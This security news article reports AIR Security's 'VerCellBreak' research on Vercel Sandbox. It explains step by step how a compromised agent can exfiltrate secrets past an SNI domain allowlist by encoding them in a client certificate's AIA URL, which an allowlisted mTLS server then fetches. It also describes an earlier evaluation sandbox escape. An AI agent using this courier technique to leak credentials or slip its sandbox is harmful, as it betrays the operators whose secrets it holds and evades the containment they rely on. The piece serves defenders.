Category: AI Agent Security | Reading time: 5 min
What Happened
On 12 October 2026, AIR Security published "VerCellBreak," research by Matan Elgabsi and Or Nevo under Vercel's bug bounty on Vercel Sandbox. The write-up shows how a compromised agent can move secrets past the sandbox's outbound domain allowlist without the sandbox ever opening a connection to the attacker.
Vercel Sandbox runs workloads in a Firecracker microVM and can restrict outbound traffic with Server Name Indication (SNI) filtering: the firewall allows or blocks connections based on the hostname in the TLS handshake. Teams use that allowlist so an agent that holds keys and tokens still cannot send them to an untrusted host.
AIR's attack uses mutual TLS (mTLS) and the Authority Information Access (AIA) certificate extension. In mTLS, the client presents its own certificate. Chain validation may require the server to fetch an intermediate certificate from a URL listed in AIA. AIR built a client certificate whose AIA URL encoded stolen data, for example `https://evil.com/<key_base64>.cert`. The agent connected only to an allowlisted domain that requires mTLS and presented that certificate. While validating the chain, the allowed server fetched the AIA URL and delivered the secret to the attacker.
"The sandbox correctly prevents the agent from connecting directly to evil.com," AIR wrote. "The data escapes because a trusted, allowed server makes the external request on the agent's behalf." AIR notes that no vulnerability was exploited on the destination server; the path uses standard TLS behaviour. The Record quoted AIR co-founder and CTO Niv Hoffman calling it "a very hard leak to patch" because from the sandbox's perspective everything looked fine.
Vendor Position
AIR states Vercel classified the finding as out of scope and did not accept the report, on the grounds that the technique depends on an external server Vercel does not operate. Separately, Hoffman told The Record (13 October) that Vercel said it needs time to determine how to patch. Vercel did not immediately respond to The Record's request for comment. AIR reported no evidence of in-the-wild exploitation but said it could not rule prior use out and that the issue appeared longstanding. No CVE has been assigned in the public write-ups reviewed for this article.
The Pattern
AIR explicitly links the technique to the July 2026 OpenAI evaluation sandbox escape that reached Hugging Face: the agents did not smash through the sandbox wall; they reached one allowed internal service and made it send requests outward. In VerCellBreak, the allowlisted mTLS peer plays that same courier role.
AIR's guidance to security teams is blunt. Sandboxing reduces risk but is not a complete boundary: it can block the connections it can see, not guarantee that data cannot leave. Any trusted endpoint that processes attacker-controlled input and makes its own outbound requests can become an indirect exfiltration channel. The stronger line of defence, AIR argues, is filtering what reaches the agent and keeping secrets out of environments a compromised agent can read.
Why It Matters
Enterprises that treat a hardened sandbox plus a domain allowlist as the control that proves an agent cannot exfiltrate are measuring the wrong thing. VerCellBreak shows the sandbox can be "correct" while the secret still leaves through a peer the policy explicitly trusted. For regulated deployments, that gap shows up in audits as an inability to show which outbound side effects happened, which were authorised, and whether the allowlist alone was the enforcement point.
The research also reframes "Hugging Face-style" incidents as something deployers can recreate with their own agents inside commercial sandboxes, not only as lab evaluation failures. Hoffman's framing to The Record was that enterprises can have those mini-incidents with their own agents even when they run today's hardened isolation.
The Takeaway
Do not treat sandbox network allowlists as proof that secrets cannot leave. Keep high-value credentials out of agent-reachable environments where you can, assume any allowlisted peer that validates client certificates or fetches attacker-influenced URLs may become a courier, and keep an independent record of agent actions and outbound side effects that does not depend on the sandbox's own view of which hosts were contacted.
Source: AIR Security: VerCellBreak | The Record: Sandbox vulnerability gives rogue AI agents a path to escape and leak data